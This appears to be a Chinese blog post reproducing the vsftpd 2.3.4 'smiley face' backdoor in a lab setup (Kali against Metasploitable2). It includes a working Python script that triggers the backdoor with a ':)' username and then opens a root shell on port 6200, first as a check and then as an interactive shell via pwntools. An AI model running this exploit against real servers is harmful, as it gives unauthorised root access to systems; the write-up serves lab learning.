python笑脸漏洞检测并复现

本文最后更新于 2024年10月17日 晚上

python笑脸漏洞检测并复现

一、原理
vsftpd 是“ very secure FTP daemon ”的缩写,安全性是它的一个最大的特点。 vsftpd是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux 、 BSD 、 Solaris 、HP UNIX 等系统上面,是一个完全免费的、开放源代码的 ftp 服务器软件,支持很多其他的FTP 服务器所不支持的特征

笑脸漏洞:这个漏洞是开发者在软件中留下的后门漏洞,当连接带有vsftpd 2.3.4版本的服务器的21端口时,输入用户中带有“:) ”,密码任意,即可运行 vsf_sysutil_extra() :打开服务器的6200端口,并且不需要密码就能从6200端口以管理员身份登入目标服务器。因为输入用户名需要带有:),所以称笑脸漏洞

二、实验器材

–kali

–Metasplotable2-Linux

三、漏洞复现

我们先用namp看当前局域网存活的主机

可以看到扫描到了攻击靶机,并且打开了21端口(ftp)

这里有一个脚本可以用来检测是否有笑脸漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import socket
import time

def connect_to_ftp(host, port):
try:
# 连接到FTP服务器
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((host, port))
print(f"成功连接到FTP服务器 {host}:{port}")

# 接收FTP欢迎消息
response = ftp_socket.recv(1024).decode()
print(f"FTP服务器响应: {response}")

# 发送恶意用户名
ftp_socket.send(b'USER hacker:)\r\n')
time.sleep(1)

# 发送密码
ftp_socket.send(b'PASS anypassword\r\n')
time.sleep(1)

response = ftp_socket.recv(1024).decode()
print(f"FTP响应: {response}")

# 检查是否能够连接到后门shell
return check_backdoor_shell(host)

except Exception as e:
print(f"连接FTP服务器失败: {e}")

def check_backdoor_shell(host):
try:
# 连接到6200端口,后门shell可能开启
shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_socket.connect((host, 6200))
print("后门shell已打开!连接到6200端口成功。")

# 向shell发送命令,获取root权限
shell_socket.send(b'id\n')
time.sleep(1)
response = shell_socket.recv(1024).decode()
print(f"从shell获得的响应: {response}")

shell_socket.close()
return True
except Exception as e:
print(f"连接6200端口失败: {e}")
return False

if __name__ == "__main__":
target_host = "192.168.190.130" # Metasploitable2的IP地址
target_port = 21 # FTP默认端口
connect_to_ftp(target_host, target_port)

这个脚本的运作原理其实非常简单,就是连接ftp服务器,发送恶意用户名来测试是否存在漏洞,存在即连接漏洞端口测试shell的响应

可以看到是连接成功的

博主心血来潮,尝试着把上面的检测代码改成远程控制shell的代码,试了一下,没想到成功了,毕竟拿shell是每一个pwn手的目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import socket
import time
from pwn import*
def connect_to_ftp(host, port):
try:
# 连接到FTP服务器
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((host, port))
print(f"成功连接到FTP服务器 {host}:{port}")

# 接收FTP欢迎消息
response = ftp_socket.recv(1024).decode()
print(f"FTP服务器响应: {response}")

# 发送恶意用户名
ftp_socket.send(b'USER hacker:)\r\n')
time.sleep(1)

# 发送密码
ftp_socket.send(b'PASS anypassword\r\n')
time.sleep(1)

response = ftp_socket.recv(1024).decode()
print(f"FTP响应: {response}")

# 检查是否能够连接到后门shell
return check_backdoor_shell(host)

except Exception as e:
print(f"连接FTP服务器失败: {e}")

def check_backdoor_shell(host):
try:
# 连接到6200端口,后门shell可能开启
shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#shell_socket.connect((host, 6200))
io=remote(host,6200)
print("后门shell已打开!连接到6200端口成功。")

# 向shell发送命令,获取root权限
'''shell_socket.send(b'ls\n')
time.sleep(1)
response = shell_socket.recv(1024).decode()
print(f"从shell获得的响应: {response}\n")'''
io.interactive()
return True
except Exception as e:
print(f"连接6200端口失败: {e}")
return False

if __name__ == "__main__":
target_host = "192.168.190.130" # Metasploitable2的IP地址
target_port = 21 # FTP默认端口
connect_to_ftp(target_host, target_port)

可以对远程的靶机进行操作


python笑脸漏洞检测并复现
http://example.com/2024/10/17/python笑脸漏洞检测并复现/
作者
清风
发布于
2024年10月17日
许可协议